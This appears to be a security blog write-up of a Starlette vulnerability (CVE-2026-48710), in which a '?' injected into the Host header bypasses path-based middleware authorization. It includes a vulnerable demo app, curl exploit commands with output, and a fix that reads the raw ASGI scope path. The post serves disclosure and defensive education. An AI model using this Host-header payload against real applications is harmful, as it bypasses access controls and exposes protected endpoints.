Skip to content

Exploiting CVE-2026-48710: How Host Injections Bypass Global Middlewares

Security in modern Python web frameworks is often delegated to global middlewares. Many developers write path-based authorization rules like "if request.url.path.startswith('/admin')" assuming that what a security layer reads is exactly what an application executes.

CVE-2026-48710 / GHSA-86qp-5c8j-p5mr shatters this architectural assumption. The vulnerability surfaces due to a severe divergence between Starlette’s routing mechanism (which dispatches based on the raw HTTP path) and its internal URL reconstruction logic (which appends the client-controlled Host header). By injecting structural URI delimiters directly into the Host header, an attacker can manipulate the interpreted state of request.url.path inside security layers while forcing the router to execute highly privileged endpoints.


Proof of Concept: Setting Up the Vulnerable Target

To see this state split in action, I implemented an isolated Starlette application. This target guards all endpoints prefixed with /admin using a standard BaseHTTPMiddleware, while registering a high-value route at /admin/potato.

from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route
import uvicorn

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        # The Security Blind Spot: Reading from reconstructed state
        if request.url.path.startswith("/admin"):
            return PlainTextResponse("Forbidden", status_code=403)
        return await call_next(request)

async def potato(request):
    return PlainTextResponse("Secret potato: Flag{Host_Header_Splitting_Success}")

app = Starlette(
    routes=[Route("/admin/potato", potato)],
    middleware=[Middleware(AuthMiddleware)],
)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

I initialized my local environment using uv to pin a vulnerable version of Starlette (prior to v1.0.1):

╰─$ uv pip show starlette                                  
Name: starlette
Version: 0.50.0
Location: .../.venv/lib/python3.13/site-packages
Requires: anyio
Required-by: fastapi

Executing the Exploitation (Live Terminal Trace)

Let’s look at the actual behavior of the network stack when I hit the application endpoint from my local terminal session.

1. The Guarded Baseline

When a standard request enters the pipeline, the Host header and the raw request path map predictably. The middleware catches the /admin prefix and drops a 403 Forbidden block:

╰─$ curl -i http://127.0.0.1:8080/admin/potato
HTTP/1.1 403 Forbidden
date: Sat, 30 May 2026 07:48:50 GMT
server: uvicorn
content-length: 9
content-type: text/plain; charset=utf-8

Forbidden%                                                                      

2. Injecting the Split Token (The Vulnerability Lifecycle)

By introducing a query string indicator (?) directly into the Host header, I manipulated how Python’s string engine processes the internal URL object. The global gateway drops its shield, allowing the untrusted payload to clear security borders:

╰─$ curl -i -H "Host: 127.0.0.1:8080/?" http://127.0.0.1:8080/admin/potato
HTTP/1.1 200 OK
date: Sat, 30 May 2026 07:48:54 GMT
server: uvicorn
content-length: 50
content-type: text/plain; charset=utf-8

Secret potato: Flag{Host_Header_Splitting_Success}%                            

3. Bumping Dependencies: The Mitigation Fallacy

A naive engineering response to a security advisory is blindly upgrading dependencies without evaluating the underlying code architecture. I upgraded Starlette to a newer version using uv:

╰─$ uv pip install --upgrade starlette
Resolved 3 packages in 218ms
Prepared 3 packages in 64ms
Uninstalled 3 packages in 28ms
Installed 3 packages in 4ms
 - anyio==4.11.0
 + anyio==4.13.0
 - idna==3.11
 + idna==3.17
 - starlette==0.50.0
 + starlette==1.2.0

╰─$ uv pip show starlette
Name: starlette
Version: 1.2.0
Location: .../.venv/lib/python3.13/site-packages
Requires: anyio
Required-by: fastapi

With the framework now bumped to v1.2.0, I re-ran the exact same attack vector:

╰─$ curl -i -H "Host: 127.0.0.1:8080/?" http://127.0.0.1:8080/admin/potato
HTTP/1.1 200 OK
date: Sat, 30 May 2026 07:52:22 GMT
server: uvicorn
content-length: 50
content-type: text/plain; charset=utf-8

Secret potato: Flag{Host_Header_Splitting_Success}%                            

The exploit still works. Why? Because upgrading the package does not fix a broken logical pattern within the application code if the middleware continues to rely on unsafe object lookups.


Under the Hood: The State Divergence Matrix

When my exploit payload enters the socket, the Starlette application pipeline splits the incoming packet state into two conflicting realities:

GET /admin/potato HTTP/1.1
Host: 127.0.0.1:8080/?

The Router’s Reality (Raw Path Execution)

The internal HTTP engine parses the HTTP query line directly. It extracts the raw path string:

$$\text{Raw Path} = \text{“/admin/potato”}$$

It looks up this string in the application routing table, locates the matching path rule, and schedules the potato endpoint function to run.

The Middleware’s Reality (Reconstructed Path State)

Before executing the endpoint, Starlette dynamically generates the request.url object by concatenating strings:

$$\text{Reconstructed URL} = \text{“http://”} + \text{Host Header} + \text{Raw Path}$$

Plugging in my payload, the engine constructs:

http://127.0.0.1:8080/?/admin/potato

When Python parses this freshly built string using standard URI mechanics, the ? token forces everything after it to be categorized as query parameters. As a result:

  • request.url.query evaluates to "/admin/potato"
  • request.url.path evaluates strictly to "/"

The AuthMiddleware runs its condition: if "/".startswith("/admin"). The evaluation resolves to False. The guard drops completely, allowing the untrusted connection to bypass the path validation entirely.


Architectural Remediation

To safely secure an application against this attack vector, the authorization logic must shift from reconstructed properties to the immutable, underlying ASGI connection state.

Instead of parsing request.url.path, I queried the raw connection scope dictionary provided directly by the ASGI server (uvicorn). The server extracts this value straight from the HTTP request line before any header evaluation or string concatenation occurs.

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        # The Structural Patch: Read directly from the raw ASGI scope
        if request.scope["path"].startswith("/admin"):
            return PlainTextResponse("Forbidden", status_code=403)
        return await call_next(request)

I swapped out my middleware block, restarted my application container under Starlette v1.2.0, and fired my payload one last time:

╰─$ curl -i -H "Host: 127.0.0.1:8080/?" http://127.0.0.1:8080/admin/potato
HTTP/1.1 403 Forbidden
date: Sat, 30 May 2026 07:53:56 GMT
server: uvicorn
content-length: 9
content-type: text/plain; charset=utf-8

Forbidden%                                                                      

The application is now safe.

Key Takeaway: Upgrading dependencies handles external components, but true defensive engineering requires matching security assumptions with the exact runtime behavior of underlying state matrices. I recommend never using reconstructed string wrappers (request.url) when raw, low-level state frames (request.scope) are available.


To understand the broader ecosystem impact, the disclosure timeline, and the maintenance realities behind this vulnerability, I highly recommend reading the original advisory write-up by Starlette’s core maintainer: CVE-2026-48710 A Maintainer’s Perspective.